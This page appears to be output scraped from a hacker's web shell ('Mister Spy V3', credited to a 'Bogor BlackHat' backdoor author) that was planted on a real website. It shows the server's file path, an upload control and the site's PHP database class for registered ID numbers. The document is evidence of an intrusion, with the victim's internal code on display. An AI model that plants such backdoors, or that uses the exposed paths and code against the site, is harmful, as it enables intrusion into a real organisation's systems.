Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.dniregistrados.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.dniregistrado.php');

class DniRegistrados extends DBAccess
{
	public function ParseFilter(array $filter)
	{
		if ((isset($filter['dni'])) && ($filter['dni'] != ''))
			$sql.= " AND dni LIKE '%" . DB::StringUnquoted($filter['dni']) . "%'";

		return $sql;

	}
	
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = " SELECT *";
		$sql.= " FROM tblDniRegistrados";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY dni ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oDniRegistrado = new DniRegistrado();
			$oDniRegistrado->ParseFromArray($oRow);
			
			array_push($arr, $oDniRegistrado);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	
	public function GetCountRows(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblDniRegistrados";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY DNI";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}


	public function GetByDni($dni)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblDniRegistrados";
		$sql.= " WHERE DNI = " . DB::Number($dni);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oDniRegistrado = new DniRegistrado();
		$oDniRegistrado->ParseFromArray($oRow);

		return $oDniRegistrado;
	}
	
	
	public function Create(DniRegistrado $oDniRegistrado)
	{
		$arr = array
		(
			'DNI'			=> DB::Number($oDniRegistrado->dni)
		);

		if (!DBAccess::Insert('tblDniRegistrados', $arr))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		return $oDniRegistrado;
	}
	

	public function Delete($dni)
	{
		$where = " DNI = " . DB::Number($dni);

		if (!DBAccess::DeleteEntidad('tblDniRegistrados', $where))
				return false;
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat